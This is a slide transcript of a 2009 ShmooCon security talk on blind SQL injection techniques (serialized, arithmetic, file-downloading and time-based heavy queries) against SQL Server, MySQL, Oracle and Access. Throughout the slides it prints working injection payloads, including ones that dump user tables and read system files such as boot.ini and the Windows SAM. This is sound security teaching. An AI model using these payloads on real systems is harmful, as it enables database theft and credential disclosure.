Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

ShmooCon 2009 - (Re)Playing(Blind)Sql


Published on

This session describes some special ways to perform (B)SQLI attacks. This talk was delivered at Shmoocon 2k9 by Palako and Chema Alonso

Published in: Technology
  • Be the first to comment

ShmooCon 2009 - (Re)Playing(Blind)Sql

  1. 1. (Re) Playing with (Blind) SQL Injection José Palazón “Palako” Mobile Security at Yahoo! Chema Alonso Informatica64 Microsoft MVP Enterprise Security
  2. 2. Spain (…not only bulls…)
  3. 3. SQL Injection attacks A long time ago, in a galaxy far, far away…
  4. 4. Agenda <ul><li>Serialized SQL Injection </li></ul><ul><ul><li>Demo: XML Extractor </li></ul></ul><ul><li>Arithmetic SQL Injection </li></ul><ul><ul><li>Divide by Zero </li></ul></ul><ul><ul><li>Sums and subtractions </li></ul></ul><ul><ul><li>Type oveflow </li></ul></ul><ul><ul><li>Demo </li></ul></ul><ul><li>Remote File Downloading using Blind SQL Injection </li></ul><ul><ul><li>SQL Sever </li></ul></ul><ul><ul><li>MySQL </li></ul></ul><ul><ul><li>Oracle </li></ul></ul><ul><ul><li>Demo: RFD Tool </li></ul></ul><ul><li>Time-Based Blind SQL Injection using heavy queries </li></ul><ul><ul><li>Demo: Marathon Tool </li></ul></ul>
  5. 5. Serialized SQL Injection
  6. 6. Serialized SQL Injection <ul><li>Goal: To Merge complex resultsets in a single showable field </li></ul><ul><li>XML serialization functions allow to convert a resultset into a one XML string. </li></ul><ul><li>It´s possible to download big amount of data with single and simple injections. </li></ul>
  7. 7. SQL Server <ul><li>FOR XML: Retrieves data as a single string representing an XML tree. </li></ul><ul><li>RAW: Mandatory option. Shows the information converting each row of the result set in an XML element in the form <row />. </li></ul><ul><li>BINARY BASE64: The query will fail if we find any BINARY data type column (containing images, or passwords) if this option is not explicitly specified. </li></ul><ul><ul><li>union select '1','2','3',(select * from sysusers for xml raw, binary base64) </li></ul></ul><ul><li>XMLSCHEMA: obtains the whole table structure, including the data types, column names and other constraints. </li></ul><ul><ul><li>Described by Dani Kachakil </li></ul></ul>
  8. 8. MySQL <ul><li>No default XML support, requires a server side extension </li></ul><ul><li>GROUP_CONCAT (v 4.1+) </li></ul>
  9. 9. Oracle <ul><li>xmlforest, xmlelement,… </li></ul><ul><li>No * support </li></ul>
  10. 10. Demo: Serialized SQL Injection
  11. 11. Arithmetic Blind SQL Injection
  12. 12. Blind Attacks <ul><li>Attacker injects code but can´t access directly to the data. </li></ul><ul><li>However this injection changes the behavior of the web application. </li></ul><ul><li>Then the attacker looks for differences between true code injections (1=1) and false code injections (1=2) in the response pages to extract data. </li></ul><ul><ul><li>Blind SQL Injection </li></ul></ul><ul><ul><li>Biind Xpath Injection </li></ul></ul><ul><ul><li>Blind LDAP Injection </li></ul></ul>
  13. 13. Blind SQL Injection Attacks <ul><li>Attacker injects: </li></ul><ul><ul><li>“ True where clauses” </li></ul></ul><ul><ul><li>“ False where clauses“ </li></ul></ul><ul><ul><li>Ex: </li></ul></ul><ul><ul><ul><li>Program.php?id=1 and 1=1 </li></ul></ul></ul><ul><ul><ul><li>Program.php?id=1 and 1=2 </li></ul></ul></ul><ul><li>Program doesn’t return any visible data from database or data in error messages. </li></ul><ul><li>The attacker can´t see any data extracted from the database. </li></ul>
  14. 14. Blind SQL Injection Attacks <ul><li>Attacker analyzes the response pages looking for differences between “True-Answer Page” and “False-Answer Page”: </li></ul><ul><ul><li>Different hashes </li></ul></ul><ul><ul><li>Different html structure </li></ul></ul><ul><ul><li>Different patterns (keywords) </li></ul></ul><ul><ul><li>Different linear ASCII sums </li></ul></ul><ul><ul><li>“ Different behavior” </li></ul></ul><ul><ul><ul><li>By example: Response Time </li></ul></ul></ul>
  15. 15. Blind SQL Injection Attacks <ul><li>If any difference exists, then: </li></ul><ul><ul><li>Attacker can extract all information from database </li></ul></ul><ul><ul><li>How? Using “booleanization” </li></ul></ul><ul><ul><ul><li>MySQL: </li></ul></ul></ul><ul><ul><ul><ul><li>Program.php?id=1 and 100>(ASCII(Substring(user(),1,1))) </li></ul></ul></ul></ul><ul><ul><ul><ul><ul><li>“ True-Answer Page” or “False-Answer Page”? </li></ul></ul></ul></ul></ul><ul><ul><ul><li>MSSQL: </li></ul></ul></ul><ul><ul><ul><ul><li>Program.php?id=1 and 100>(Select top 1 ASCII(Substring(name,1,1))) from sysusers) </li></ul></ul></ul></ul><ul><ul><ul><li>Oracle: </li></ul></ul></ul><ul><ul><ul><ul><li>Program.php?id=1 and 100>(Select ASCII(Substr(username,1,1))) from all_users where rownum<=1) </li></ul></ul></ul></ul>
  16. 16. Arithmetic Blind SQL Injection <ul><li>The query force the parameter to be numeric </li></ul><ul><ul><li>SELECT field FROM table WHERE id=abs( param ) </li></ul></ul><ul><li>Boolean logic is created with math operations </li></ul><ul><ul><li>Divide by zero </li></ul></ul><ul><ul><li>Sums and subtractions </li></ul></ul><ul><ul><li>Type overflows </li></ul></ul>
  17. 17. Arithmetic Blind SQL Injection <ul><li>Divide by zero (David Litchfield) </li></ul><ul><ul><li>Id=A+(1/(ASCII(B)-C)) </li></ul></ul><ul><ul><ul><li>A-> Param value originally used in the query. </li></ul></ul></ul><ul><ul><ul><li>B -> Value we are searching for, e.g.: Substring(passwd,1,1) </li></ul></ul></ul><ul><ul><ul><li>C-> Counter [0..255] </li></ul></ul></ul><ul><ul><li>When ASCII(B)=C, the DB will generate a divide by zero exception. </li></ul></ul>
  18. 18. Arithmetic Blind SQL Injection <ul><li>Sums and subtractions </li></ul><ul><ul><li>Id=A+ASCII(B)-C </li></ul></ul><ul><ul><ul><li>A-> Param value originally used in the query. </li></ul></ul></ul><ul><ul><ul><li>B -> Value we are searching for, e.g.: Substring(passwd,1,1) </li></ul></ul></ul><ul><ul><ul><li>C-> Counter [0..255] </li></ul></ul></ul><ul><ul><li>When ASCII(B)=C, then the response page of id=A+ASCII(B)-C will be the same as id=A </li></ul></ul>
  19. 19. Arithmetic Blind SQL Injection <ul><li>Value type overflow </li></ul><ul><ul><li>Id=A+((C/ASCII(B))*(K)) </li></ul></ul><ul><ul><ul><li>A-> Param value originally used in the query. </li></ul></ul></ul><ul><ul><ul><li>B -> Value we are searching for, e.g.: Substring(passwd,1,1) </li></ul></ul></ul><ul><ul><ul><li>C-> Counter [0..255] </li></ul></ul></ul><ul><ul><ul><li>K-> Value that overflows the type defined for A </li></ul></ul></ul><ul><ul><ul><ul><li>(e.g. if A is integer, then K=2^ 32 ) </li></ul></ul></ul></ul><ul><ul><li>When C/ASCII(B)==1, K*1 overflows the data type </li></ul></ul>
  20. 20. Demo: <ul><li>Divide by zero </li></ul><ul><li>Sums and subtractions </li></ul><ul><li>Integer overflow </li></ul>
  21. 21. Remote File Downloading using Blind SQL Injection techniques
  22. 22. Accessing Files <ul><li>Two ways: </li></ul><ul><ul><li>Load the file in a temp table </li></ul></ul><ul><ul><ul><li>and i>(select top 1 ASCII(Substring(column)(file,pos,1)) from temp_table ?? </li></ul></ul></ul><ul><ul><li>Load the file in the query </li></ul></ul><ul><ul><ul><li>With every query the file is loaded in memory </li></ul></ul></ul><ul><ul><ul><li>I am very sorry, engine  </li></ul></ul></ul><ul><ul><ul><li>and i>ASCII(Substring(load_file(file,pos,1))?? </li></ul></ul></ul>
  23. 23. SQL Server 2K - External Data Sources <ul><li>Only for known filetypes: </li></ul><ul><ul><li>Access trough Drivers: Txt, csv, xls, mdb, log </li></ul></ul><ul><ul><li>And 200>ASCII (SUBSTRING(SELECT * FROM OPENROWSET('MSDASQL', 'Driver = {Microsoft Text Driver (*.txt; *.csv)};DefaultDir=C:;','select top 1 * from c:dir arget.txt’),1,1)) </li></ul></ul><ul><li>Privileges </li></ul><ul><ul><li>HKEY_LOCAL_MACHINESOFTWAREMicrosoftMSSQLServerProviders DisallowAdhocAccess=0 </li></ul></ul><ul><ul><li>By default this key doesn´t exist so only users with Server Admin Role can use these functions. </li></ul></ul><ul><li>NTFS permissions </li></ul>
  24. 24. SQL Server 2K – Bulk option <ul><li>Access to any file </li></ul><ul><ul><li>; Create Table TempTable as (row varchar(8000)) -- </li></ul></ul><ul><ul><li>; Bulk Insert TempTable From 'c:file.ext' With (FIELDTERMINATOR = ' ', ROWTERMINATOR = ' ‘) -- </li></ul></ul><ul><ul><li>; alter table TempTable add num int IDENTITY(1,1) NOT NULL – </li></ul></ul><ul><ul><li>and (select COUNT(row) from TempTable) </li></ul></ul><ul><ul><li>and (select top 1 len(row) from TempTable where num = rownum) </li></ul></ul><ul><ul><li>and (select top 1 ASCII(SUBSTRING(row,1,1)) from TempTable where num = 1) </li></ul></ul><ul><ul><li>; Drop Table TempTable-- </li></ul></ul><ul><li>Privileges needed </li></ul><ul><ul><li>Server Role: Bulkadmin </li></ul></ul><ul><ul><li>Database Role: db_owner o db_ddladmin </li></ul></ul><ul><li>NTFS permissions </li></ul>
  25. 25. SQL Server 2k5 – 2k8 <ul><li>OPENDATASOURCE and OPENROWSET supported </li></ul><ul><li>Bulk options improved </li></ul><ul><ul><li>AND 256 > ASCII(SUBSTRING ((SELECT * FROM OPENROWSET(BULK 'c:windows epairsam', SINGLE_BLOB) As Data), 1, 1))— </li></ul></ul><ul><li>Permisions </li></ul><ul><ul><ul><li>Bulkadmin Server Role </li></ul></ul></ul><ul><ul><ul><li>External Data Sources enabled </li></ul></ul></ul><ul><ul><ul><li>Sp_configure </li></ul></ul></ul><ul><ul><ul><li>Surface configuration Tool for features </li></ul></ul></ul>
  26. 26. MySQL <ul><li>LoadFile </li></ul><ul><ul><li>SELECT LOAD_FILE(0x633A5C626F6F742E696E69) </li></ul></ul><ul><ul><ul><li>SQLbfTools: MySQLget command (illo and dab) </li></ul></ul></ul><ul><ul><ul><li> </li></ul></ul></ul><ul><li>Load Data infile </li></ul><ul><ul><li>; Create table C8DFC643 (datos varchar(4000)) </li></ul></ul><ul><ul><li>; Load data infile 'c:oot.ini' into table C8DFC643 </li></ul></ul><ul><ul><li>; alter table C8DFC643 add column num integer auto_increment unique key </li></ul></ul><ul><ul><li>and (select count(num) from C8DFC643) </li></ul></ul><ul><ul><li>and (select length(datos) from C8DFC643 where num = 1) </li></ul></ul><ul><ul><li>and (select ASCII(substring(datos,5,1)) from C8DFC643 where num = 1) </li></ul></ul><ul><ul><li>; Drop table C8DFC643 </li></ul></ul>
  27. 27. Oracle – Plain Text files <ul><li>External Tables </li></ul><ul><ul><li>; execute immediate 'Create Directory A4A9308C As ''c:'' '; end; -- </li></ul></ul><ul><ul><li>; execute immediate 'Create table A737D141 ( datos varchar2(4000) ) organization external (TYPE ORACLE_LOADER default directory A4A9308C access parameters ( records delimited by newline ) location (''boot.ini''))'; end;-- </li></ul></ul><ul><ul><li>Only Plain Text files </li></ul></ul>
  28. 28. Oracle – DBMS_LOB <ul><li>; execute immediate ‘ </li></ul><ul><li>DECLARE l_bfile BFILE; </li></ul><ul><li>l_blob BLOB; </li></ul><ul><li>BEGIN INSERT INTO A737D141 (datos) VALUES (EMPTY_BLOB()) RETURN datos INTO l_blob; </li></ul><ul><li>l_bfile := BFILENAME(''A4A9308C'', ''Picture.bmp''); </li></ul><ul><li>DBMS_LOB.fileopen(l_bfile, Dbms_Lob.File_Readonly); </li></ul><ul><li>DBMS_LOB.loadfromfile(l_blob,l_bfile,DBMS_LOB.getlength(l_bfile)); </li></ul><ul><li>DBMS_LOB.fileclose(l_bfile); </li></ul><ul><li>COMMIT; </li></ul><ul><li>EXCEPTION </li></ul><ul><li>WHEN OTHERS THEN ROLLBACK; </li></ul><ul><li>END;‘ </li></ul><ul><li>; end; -- </li></ul>
  29. 29. Demo RFD
  30. 30. Time-based Blind SQL Injection using heavy queries
  31. 31. Time-Based Blind SQL Injection <ul><li>In scenarios with no differences between “True-Answer Page” and “False-Answer Page”, time delays can be used. </li></ul><ul><li>Injection forces a delay in the response page when the condition injected is True. </li></ul><ul><ul><li>- Delay functions: </li></ul></ul><ul><ul><ul><li>SQL Server: waitfor </li></ul></ul></ul><ul><ul><ul><li>Oracle: dbms_lock.sleep </li></ul></ul></ul><ul><ul><ul><li>MySQL: sleep or Benchmark Function </li></ul></ul></ul><ul><ul><ul><li>Postgres: pg_sleep </li></ul></ul></ul><ul><ul><li>Ex: </li></ul></ul><ul><ul><ul><li>; if (exists(select * from users)) waitfor delay '0:0:5’ </li></ul></ul></ul>
  32. 32. Exploit for Solar Empire Web Game
  33. 33. Deep Blind SQL Injection <ul><li>Time delay depends on the wanted value. </li></ul><ul><li>E.g. “a”->10s. delay, “b”->11s. Delay, … </li></ul><ul><li> </li></ul>
  34. 34. Time-Based Blind SQL Injection <ul><li>What about databases engines without delay functions, i.e., MS Access, Oracle connection without PL/SQL support, DB2, etc…? </li></ul><ul><li>Can we still perform an exploitation of Time-Based Blind SQL Injection Attacks? </li></ul>
  35. 35. Yes, we can!
  36. 36. “ Where-Clause” execution order <ul><li>Select “whatever “ </li></ul><ul><li>From whatever </li></ul><ul><li>Where condition1 and condition2 </li></ul><ul><li>- Condition1 lasts 10 seconds </li></ul><ul><li>- Condition2 lasts 100 seconds </li></ul><ul><li>Which condition should be executed first? </li></ul>
  37. 37. The heavy condition first Condition2 (100 sec) Condition1 (10 sec) Condition2 & condition1 Response Time TRUE FALSE FALSE 110 sec TRUE TRUE TRUE 110 sec FALSE Not evaluated FALSE 100 sec
  38. 38. The light condition first Condition1 (10 sec) Condition2 (100 sec) Condition1 & condition2 Response Time TRUE FALSE FALSE 110 sec TRUE TRUE TRUE 110 sec FALSE Not evaluated FALSE 10 sec
  39. 39. Time-Based Blind SQL Injection using Heavy Queries <ul><li>Attacker can perform an exploitation delaying the “True-answer page” using a heavy query. </li></ul><ul><li>It depends on how the database engine evaluates the where clauses in the query. </li></ul><ul><li>There are two types of database engines: </li></ul><ul><ul><li>Databases without optimization process </li></ul></ul><ul><ul><li>Databases with optimization process </li></ul></ul>
  40. 40. Time-Based Blind SQL Injection using Heavy Queries <ul><li>Attacker could inject a heavy Cross-Join condition for delaying the response page in True-Injections. </li></ul><ul><li>The Cross-join injection must be heavier than the other condition. </li></ul><ul><li>Attacker only have to know or to guess the name of a table with select permission in the database. </li></ul><ul><li>Example in MSSQL: </li></ul><ul><ul><li>Program.php?id=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and 300>(select top 1 ascii(substring(name,1,1)) from sysusers) </li></ul></ul>
  41. 41. “ Default” tables to construct a heavy query <ul><ul><li>Microsoft SQL Server </li></ul></ul><ul><ul><ul><li>sysusers </li></ul></ul></ul><ul><ul><li>Oracle </li></ul></ul><ul><ul><ul><li>all_users </li></ul></ul></ul><ul><ul><li>MySQL (versión 5) </li></ul></ul><ul><ul><ul><li>information_schema.columns </li></ul></ul></ul><ul><ul><li>Microsoft Access </li></ul></ul><ul><ul><ul><li>MSysAccessObjects (97 & 2000 versions) </li></ul></ul></ul><ul><ul><ul><li>MSysAccessStorage (2003 & 2007) </li></ul></ul></ul>
  42. 42. “ Default” tables to construct a heavy query <ul><li>… or whatever you can guess </li></ul><ul><ul><li>Clients </li></ul></ul><ul><ul><li>Customers </li></ul></ul><ul><ul><li>News </li></ul></ul><ul><ul><li>Logins </li></ul></ul><ul><ul><li>Users </li></ul></ul><ul><ul><li>Providers </li></ul></ul><ul><ul><li>… .Use your imagination… </li></ul></ul>
  43. 43. Ex 1: MS SQL Server <ul><li>Query lasts 14 seconds -> True-Answer </li></ul>
  44. 44. Ex 1: MS SQL Server <ul><li>Query lasts 1 second -> False-Answer </li></ul>
  45. 45. Ex 2: Oracle <ul><li>Query Lasts 22 seconds –> True-Answer </li></ul>
  46. 46. Ex 2: Oracle <ul><li>Query Lasts 1 second –> False-Answer </li></ul>
  47. 47. Ex 3: Access 2000 <ul><li>Query Lasts 6 seconds –> True-Answer </li></ul>
  48. 48. Ex 3: Access 2000 <ul><li>Query Lasts 1 second –> False-Answer </li></ul>
  49. 49. Ex 4: Access 2007 <ul><li>Query Lasts 39 seconds –> True-Answer </li></ul>
  50. 50. Ex 4: Access 2007 <ul><li>Query Lasts 1 second –> False-Answer </li></ul>
  51. 51. Marathon Tool <ul><li>Automates Time-Based Blind SQL Injection Attacks using Heavy Queries in SQL Server, MySQL, MS Access and Oracle Databases. </li></ul><ul><li>Schema Extraction from known databases </li></ul><ul><li>Extract data using heavy queries not matter in which database engine (without schema) </li></ul><ul><li>Developed in .NET </li></ul><ul><li>Source code available </li></ul>
  52. 52. Demo: Marathon Tool
  53. 53. Prevention: Don´t forget Bobby Tables! SANITIZE YOUR QUERIES!
  54. 54. ¿Preguntas? <ul><li>Speakers: </li></ul><ul><ul><li>Chema Alonso ( [email_address] ) </li></ul></ul><ul><ul><li>Palako ( [email_address] ) </li></ul></ul><ul><li>Autores </li></ul><ul><ul><li>Chema Alonso ( [email_address] ) </li></ul></ul><ul><ul><li>Alejandro Martín ( [email_address] ) </li></ul></ul><ul><ul><li>Antonio Guzmán ( [email_address] ) </li></ul></ul><ul><ul><li>Daniel Kachakil ( [email_address] ) </li></ul></ul><ul><ul><li>José Palazón “Palako” ( [email_address] ) </li></ul></ul><ul><ul><li>Marta Beltran ( [email_address] ) </li></ul></ul>